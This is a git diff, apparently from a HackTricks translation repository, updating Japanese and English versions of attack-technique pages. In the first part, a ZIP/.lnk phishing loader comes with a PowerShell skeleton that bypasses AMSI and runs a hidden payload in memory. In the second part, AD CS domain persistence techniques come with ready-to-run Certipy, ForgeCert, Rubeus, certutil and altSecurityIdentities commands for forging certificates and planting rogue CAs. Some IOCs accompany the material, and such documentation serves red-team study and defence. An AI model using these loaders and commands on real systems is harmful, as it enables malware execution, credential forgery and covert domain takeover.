非常に効果的なキャンペーンは、正規に見える二つのデコイドキュメント(PDF/DOCX)と悪意のある .lnk を含む ZIP を配布する。トリックは、実際の PowerShell ローダーが ZIP の生バイト列中のユニークなマーカーの後に格納されており、.lnk がそれを切り出して完全にメモリ上で実行する点にある。
|
||||
非常に効果的なキャンペーンは、2つの正当なデコイドキュメント(PDF/DOCX)と悪意のある .lnk を含む ZIP を配布します。トリックは、実際の PowerShell ローダーが一意のマーカーの後に ZIP の生バイト内に格納されており、.lnk がそれを切り出してメモリ上で完全に実行する点にあります。
|
||||
|
||||
典型的なフロー(.lnk による PowerShell ワンライナーで実装される):
|
||||
Typical flow implemented by the .lnk PowerShell one-liner:
|
||||
|
||||
1) 一般的なパス(Desktop, Downloads, Documents, %TEMP%, %ProgramData% および カレントワーキングディレクトリの親)から元の ZIP を探す。
|
||||
2) ZIP のバイトを読み取り、ハードコードされたマーカー(例: xFIQCV)を探す。マーカー以降のすべてが埋め込まれた PowerShell ペイロードである。
|
||||
3) %ProgramData% に ZIP をコピーし、そこで展開して、正規に見せかけるためにデコイの .docx を開く。
|
||||
4) カレントプロセスで AMSI をバイパスする: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) 次のステージをデオブフスケート(例: すべての # 文字を除去)し、メモリ内で実行する。
|
||||
1) Desktop、Downloads、Documents、%TEMP%、%ProgramData%、およびカレントワーキングディレクトリの親などの一般的なパスで元の ZIP を検索する。
|
||||
2) ZIP のバイトを読み取り、ハードコードされたマーカー(例: xFIQCV)を探す。マーカー以降のすべてが埋め込まれた PowerShell ペイロードである。
|
||||
3) ZIP を %ProgramData% にコピーし、そこで展開し、正当らしく見せるためにデコイの .docx を開く。
|
||||
4) 現在のプロセスで AMSI をバイパスする: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) 次のステージの難読化を解除(例: 全ての # 文字を削除)してメモリ上で実行する。
|
||||
|
||||
Example PowerShell skeleton to carve and run the embedded stage:
|
||||
```powershell
|
||||
@ -190,22 +190,31 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
Invoke-Expression $code
|
||||
```
|
||||
注意事項
|
||||
- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA).
|
||||
- 次のステージでは、ディスク上の痕跡を最小化するために base64/XOR shellcode を復号し、Reflection.Emit + VirtualAlloc を介して実行することが多い。
|
||||
注記
|
||||
- 配信はしばしば信頼された PaaS サブドメイン(例: *.herokuapp.com)を悪用し、ペイロードを制限して IP/UA に基づき無害な ZIP を返すことがある。
|
||||
- 次段階では base64/XOR の shellcode を復号し、ディスク痕跡を最小化するために Reflection.Emit + VirtualAlloc 経由で実行することが多い。
|
||||
|
||||
同じチェーンで使用される Persistence
|
||||
- Microsoft Web Browser control の COM TypeLib hijacking により、IE/Explorer やそれを埋め込むアプリが自動的に payload を再実行するようにする。詳細と利用可能なコマンドは以下を参照:
|
||||
Persistence used in the same chain
|
||||
- Microsoft Web Browser control の COM TypeLib hijacking により、IE/Explorer やそれを埋め込んだ任意のアプリが payload を自動的に再実行するようにする。詳細とすぐに使えるコマンドは以下を参照:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
Hunting/IOCs
|
||||
- アーカイブデータ末尾に ASCII マーカー文字列(例: xFIQCV)が追記された ZIP ファイル。
|
||||
- .lnk が親/ユーザフォルダを列挙して ZIP を探し、デコイ文書を開く。
|
||||
- AMSI の改ざん([System.Management.Automation.AmsiUtils]::amsiInitFailed を利用)。
|
||||
- 長時間実行される業務スレッドが、信頼された PaaS ドメイン上にホストされたリンクで終わる。
|
||||
- アーカイブデータ末尾に ASCII マーカー文字列(例: xFIQCV)が付加された ZIP ファイル。
|
||||
- ZIP を探すために親/ユーザフォルダを列挙し、デコイ文書を開く .lnk。
|
||||
- [System.Management.Automation.AmsiUtils]::amsiInitFailed を使った AMSI 改ざん。
|
||||
- 信頼された PaaS ドメインでホストされたリンクで終わる長時間実行されるビジネススレッド。
|
||||
|
||||
## NTLM ハッシュを窃取するための Windows ファイル
|
||||
|
||||
次のページを確認: **places to steal NTLM creds**:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## References
|
||||
|
||||
|
@ -1,27 +1,27 @@
|
||||
# AD CS ドメイン永続化
|
||||
# AD CS Domain Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**これは [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) で共有されているドメイン永続化手法の要約です。詳細はそちらを確認してください。**
|
||||
**これは [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) に掲載されている domain persistence techniques の要約です。詳細はそちらを参照してください。**
|
||||
|
||||
## 盗まれた CA 証明書で証明書を偽造する - DPERSIST1
|
||||
## Forging Certificates with Stolen CA Certificates - DPERSIST1
|
||||
|
||||
証明書が CA 証明書であるかどうかはどのように判断しますか?
|
||||
How can you tell that a certificate is a CA certificate?
|
||||
|
||||
証明書が CA 証明書であると判断できるのは、いくつかの条件が満たされている場合です:
|
||||
証明書が CA 証明書であるかどうかは、いくつかの条件が満たされている場合に判断できます:
|
||||
|
||||
- 証明書は CA サーバーに保存されており、その秘密鍵はマシンの DPAPI によって保護されているか、OS が対応している場合は TPM/HSM のようなハードウェアで保護されている。
|
||||
- 証明書の Issuer および Subject フィールドの両方が CA の distinguished name と一致する。
|
||||
- CA 証明書にのみ "CA Version" 拡張が存在する。
|
||||
- 証明書は Extended Key Usage (EKU) フィールドを欠いている。
|
||||
- 証明書は CA サーバー上に格納されており、その秘密鍵はマシンの DPAPI によって保護されているか、OS がサポートしていれば TPM/HSM のようなハードウェアによって保護されている。
|
||||
- 証明書の Issuer と Subject フィールドの両方が CA の識別名と一致している。
|
||||
- "CA Version" 拡張は CA 証明書にのみ存在する。
|
||||
- 証明書には Extended Key Usage (EKU) フィールドがない。
|
||||
|
||||
この証明書の秘密鍵を抽出するには、CA サーバー上の certsrv.msc ツールが組み込みの GUI を介したサポートされた方法です。とはいえ、この証明書はシステム内に保存されている他の証明書と異なるものではないため、[THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) のような手法を用いて抽出することも可能です。
|
||||
この証明書の秘密鍵を抽出するには、CA サーバー上の `certsrv.msc` ツール(組み込み GUI 経由)がサポートされる方法です。それにもかかわらず、この証明書はシステム内に保存されている他の証明書と異なるものではないため、[THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) のような方法で抽出することも可能です。
|
||||
|
||||
証明書と秘密鍵は、次のコマンドを使用して Certipy で取得することもできます:
|
||||
証明書と秘密鍵は、Certipy を使用して次のコマンドでも取得できます:
|
||||
```bash
|
||||
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
|
||||
```
|
||||
CA証明書とその秘密鍵(`.pfx`形式)を入手したら、[ForgeCert](https://github.com/GhostPack/ForgeCert)のようなツールを使って有効な証明書を生成できます:
|
||||
CA証明書とその秘密鍵を `.pfx` 形式で入手したら、[ForgeCert](https://github.com/GhostPack/ForgeCert) のようなツールを使って有効な証明書を生成できます:
|
||||
```bash
|
||||
# Generating a new certificate with ForgeCert
|
||||
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
|
||||
@ -36,19 +36,20 @@ Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /pa
|
||||
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
|
||||
```
|
||||
> [!WARNING]
|
||||
> 証明書偽造の対象となるユーザーは、処理を成功させるために Active Directory 上でアクティブで認証可能である必要があります。krbtgt のような特殊アカウントに対する証明書偽造は効果がありません。
|
||||
> 証明書偽造の対象となるユーザーは、プロセスを成功させるためにActive Directoryでアクティブかつ認証可能である必要があります。krbtgtのような特殊アカウントに対する証明書偽造は効果がありません。
|
||||
|
||||
この偽造された証明書は、指定された終了日まで、かつ**ルート CA 証明書が有効な限り**(通常 5 年〜**10+ 年**)**有効**です。これは**マシン**にも有効であるため、**S4U2Self** と組み合わせることで、攻撃者は CA 証明書が有効な限り**任意のドメインマシン上で永続性を維持**できます。\
|
||||
さらに、**この方法で生成された証明書**は CA が認識していないため、**取り消すことができません**。
|
||||
この偽造証明書は**有効**期限まで、かつ**root CA 証明書が有効である限り**(通常5年から**10年以上**)有効です。これは**マシン**にも有効であり、**S4U2Self**と組み合わせることで、攻撃者はCA証明書が有効な限り**任意のドメインマシン上で永続化を維持**できます.\
|
||||
|
||||
### Operating under Strong Certificate Mapping Enforcement (2025+)
|
||||
さらに、この方法で生成された**証明書**はCAがそれらを認識していないため**取り消すことができません**。
|
||||
|
||||
2025年2月11日以降(KB5014754 の展開後)、ドメインコントローラーは証明書マッピングに対してデフォルトで **Full Enforcement** になります。実務的には、これは偽造証明書が次のいずれかを満たす必要があることを意味します:
|
||||
### Strong Certificate Mapping Enforcement (2025+) 下での運用
|
||||
|
||||
- ターゲットアカウントへの強いバインディングを含む(例えば、SID セキュリティ拡張)、または
|
||||
- 対象オブジェクトの `altSecurityIdentities` 属性に強力で明示的なマッピングを設定する
|
||||
2025年2月11日以降(KB5014754の展開後)、ドメインコントローラーは証明書マッピングに対してデフォルトで**Full Enforcement**になります。実務上、これは偽造証明書が次のいずれかである必要があることを意味します:
|
||||
|
||||
永続化のための確実な手法は、盗まれた Enterprise CA にチェーンされた偽造証明書を作成し、被害者プリンシパルに強力で明示的なマッピングを追加することです:
|
||||
- ターゲットアカウントへの強いバインディングを含む(例えば、SID security extension)、または
|
||||
- ターゲットオブジェクトの `altSecurityIdentities` 属性に強力で明示的なマッピングを追加して組み合わせる
|
||||
|
||||
永続化のための信頼できるアプローチは、盗まれた Enterprise CA にチェーンされた偽造証明書を発行し、その後被害者プリンシパルに強力で明示的なマッピングを追加することです:
|
||||
```powershell
|
||||
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
|
||||
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
|
||||
@ -56,18 +57,18 @@ $SerialR = '1200000000AC11000000002B' # serial in reversed byte
|
||||
$Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
|
||||
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
|
||||
```
|
||||
注意
|
||||
- SID security extension を含む forged certificates を作成できれば、それらは Full Enforcement 下でも暗黙的にマッピングされます。そうでなければ、明示的で強力なマッピングを優先してください。明示的マッピングの詳細は [account-persistence](account-persistence.md) を参照してください。
|
||||
- 失効はここでは防御側に有効ではありません: forged certificates は CA database に登録されていないため、失効させることができません。
|
||||
Notes
|
||||
- If you can craft forged certificates that include the SID security extension, those will map implicitly even under Full Enforcement. Otherwise, prefer explicit strong mappings. See
|
||||
[account-persistence](account-persistence.md) for more on explicit mappings.
|
||||
- Revocation does not help defenders here: forged certificates are unknown to the CA database and thus cannot be revoked.
|
||||
|
||||
## 不正な CA 証明書を信頼させる - DPERSIST2
|
||||
## Trusting Rogue CA Certificates - DPERSIST2
|
||||
|
||||
`NTAuthCertificates` オブジェクトは、Active Directory (AD) が利用する `cacertificate` 属性内に1つ以上の **CA certificates** を含むよう定義されています。
|
||||
認証を行う **domain controller** の検証プロセスでは、`NTAuthCertificates` オブジェクトを調べ、認証対象の **certificate** の Issuer フィールドに指定された **CA specified** に一致するエントリがあるかを確認します。一致が見つかれば認証が行われます。
|
||||
The `NTAuthCertificates` object is defined to contain one or more **CA certificates** within its `cacertificate` attribute, which Active Directory (AD) utilizes. The verification process by the **domain controller** involves checking the `NTAuthCertificates` object for an entry matching the **CA specified** in the Issuer field of the authenticating **certificate**. Authentication proceeds if a match is found.
|
||||
|
||||
攻撃者がこの AD オブジェクトを制御している場合、自己署名の CA 証明書を `NTAuthCertificates` オブジェクトに追加できます。通常、このオブジェクトを変更できるのは **Enterprise Admin** グループのメンバー、または **forest root’s domain** 内の **Domain Admins** や **Administrators** のみです。`certutil.exe` を使って `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA` コマンドで `NTAuthCertificates` オブジェクトを編集するか、[**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool) を利用して追加できます。
|
||||
A self-signed CA certificate can be added to the `NTAuthCertificates` object by an attacker, provided they have control over this AD object. Normally, only members of the **Enterprise Admin** group, along with **Domain Admins** or **Administrators** in the **forest root’s domain**, are granted permission to modify this object. They can edit the `NTAuthCertificates` object using `certutil.exe` with the command `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, or by employing the [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
|
||||
|
||||
この手法で役立つ追加コマンド:
|
||||
Additional helpful commands for this technique:
|
||||
```bash
|
||||
# Add/remove and inspect the Enterprise NTAuth store
|
||||
certutil -enterprise -f -AddStore NTAuth C:\Temp\CERT.crt
|
||||
@ -78,32 +79,34 @@ certutil -enterprise -delstore NTAuth <Thumbprint>
|
||||
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
|
||||
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
|
||||
```
|
||||
この機能は、前述の ForgeCert を用いて証明書を動的に生成する方法と併用した場合に特に有効です。
|
||||
This capability is especially relevant when used in conjunction with a previously outlined method involving ForgeCert to dynamically generate certificates.
|
||||
|
||||
> Post-2025 のマッピングに関する考慮事項:NTAuth に rogue CA を配置しても発行 CA に対する信頼が確立されるだけです。DC が **Full Enforcement** の状態で leaf certificate をログオンに使うには、leaf が SID セキュリティ拡張を含むか、ターゲットオブジェクトに強い明示的なマッピング(例えば `altSecurityIdentities` 内の Issuer+Serial)が存在する必要があります。詳細は {{#ref}}account-persistence.md{{#endref}} を参照してください。
|
||||
> Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in **Full Enforcement**, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}.
|
||||
|
||||
## 悪意ある設定ミス - DPERSIST3
|
||||
## 悪意のある設定ミス - DPERSIST3
|
||||
|
||||
**security descriptor modifications of AD CS** コンポーネントを通じた **persistence** の機会は多く存在します。"[Domain Escalation](domain-escalation.md)" セクションで説明された変更は、権限を持つ攻撃者によって悪意を持って実施され得ます。これには、以下のような機密コンポーネントへの "control rights"(例: WriteOwner/WriteDACL/等)追加が含まれます:
|
||||
AD CS コンポーネントのセキュリティ記述子を変更することによる **persistence** の機会は豊富にある。"[Domain Escalation](domain-escalation.md)" セクションで説明された変更は、権限を持つ攻撃者により悪意を持って実行され得る。これには、以下のような機密性の高いコンポーネントに対して「control rights」(例: WriteOwner/WriteDACL/etc.) を追加することが含まれる:
|
||||
|
||||
- **CA server’s AD computer** オブジェクト
|
||||
- **CA server’s RPC/DCOM server**
|
||||
- **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** 内の任意の **descendant AD object or container**(例: Certificate Templates container、Certification Authorities container、NTAuthCertificates object 等)
|
||||
- 組織や既定で **AD CS を制御する権限が委譲された AD groups**(例: built-in Cert Publishers group とそのメンバー)
|
||||
- The **CA server’s AD computer** object
|
||||
- The **CA server’s RPC/DCOM server**
|
||||
- Any **descendant AD object or container** in **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (for instance, the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, etc.)
|
||||
- **AD groups delegated rights to control AD CS** by default or by the organization (such as the built-in Cert Publishers group and any of its members)
|
||||
|
||||
悪意ある実装の一例としては、ドメイン内で **elevated permissions** を持つ攻撃者がデフォルトの **`User`** certificate template に **`WriteOwner`** 権限を追加し、その攻撃者自身を権利の主体にするケースが考えられます。これを悪用するために、攻撃者はまず **`User`** テンプレートの所有権を自らに変更します。続いてテンプレート上で **`mspki-certificate-name-flag`** を **1** に設定して **`ENROLLEE_SUPPLIES_SUBJECT`** を有効化し、リクエスト時に Subject Alternative Name を申請者が指定できるようにします。以降、攻撃者はその **template** を使って **enroll** し、代替名に **domain administrator** の名前を指定して取得した証明書を DA としての認証に利用できます。
|
||||
悪意ある実装の例としては、ドメイン内で**高い権限**を持つ攻撃者がデフォルトの **`User`** 証明書テンプレートに **`WriteOwner`** 権限を追加し、その権利の主体を攻撃者自身にするケースがある。これを悪用するには、攻撃者はまず **`User`** テンプレートの所有者を自分に変更する。その後、テンプレート上で **`mspki-certificate-name-flag`** を **1** に設定して **`ENROLLEE_SUPPLIES_SUBJECT`** を有効化し、リクエストで Subject Alternative Name を指定できるようにする。続いて攻撃者はその**テンプレート**で**登録**を行い、代替名としてドメイン管理者の名前を選び、取得した証明書を DA としての認証に利用できる。
|
||||
|
||||
長期的なドメイン persistence のために攻撃者が設定し得る実用的な調整点(詳細と検出については {{#ref}}domain-escalation.md{{#endref}} を参照):
|
||||
Practical knobs attackers may set for long-term domain persistence (see {{#ref}}domain-escalation.md{{#endref}} for full details and detection):
|
||||
|
||||
- CA policy flags that allow SAN from requesters(例: `EDITF_ATTRIBUTESUBJECTALTNAME2` を有効化)。これにより ESC1-like な経路が引き続き悪用可能になります。
|
||||
- Template の DACL や設定で認証可能な発行を許可するもの(例: Client Authentication EKU の追加、`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` の有効化)。
|
||||
- ディフェンダーがクリーンアップを試みた場合でも rogue issuer を継続的に再導入するために、`NTAuthCertificates` オブジェクトや CA コンテナを制御すること。
|
||||
- CA policy flags that allow SAN from requesters (e.g., enabling `EDITF_ATTRIBUTESUBJECTALTNAME2`). This keeps ESC1-like paths exploitable.
|
||||
- Template DACL or settings that allow authentication-capable issuance (e.g., adding Client Authentication EKU, enabling `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
|
||||
- Controlling the `NTAuthCertificates` object or the CA containers to continuously re-introduce rogue issuers if defenders attempt cleanup.
|
||||
|
||||
> [!TIP]
|
||||
> KB5014754 適用後の強化された環境では、これらの misconfigurations に明示的な強いマッピング(`altSecurityIdentities`)を組み合わせることで、DC が強いマッピングを強制している場合でも発行または偽造した証明書が引き続き利用可能になることが保証されます。
|
||||
> In hardened environments after KB5014754, pairing these misconfigurations with explicit strong mappings (`altSecurityIdentities`) ensures your issued or forged certificates remain usable even when DCs enforce strong mapping.
|
||||
|
||||
## 参考
|
||||
|
||||
- Microsoft KB5014754 – Windows domain controllers における証明書ベースの認証の変更(適用スケジュールと強いマッピング)。 https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy – コマンドリファレンスおよび forge/auth の使用法。 https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
|
||||
## References
|
||||
|
||||
- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy – Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user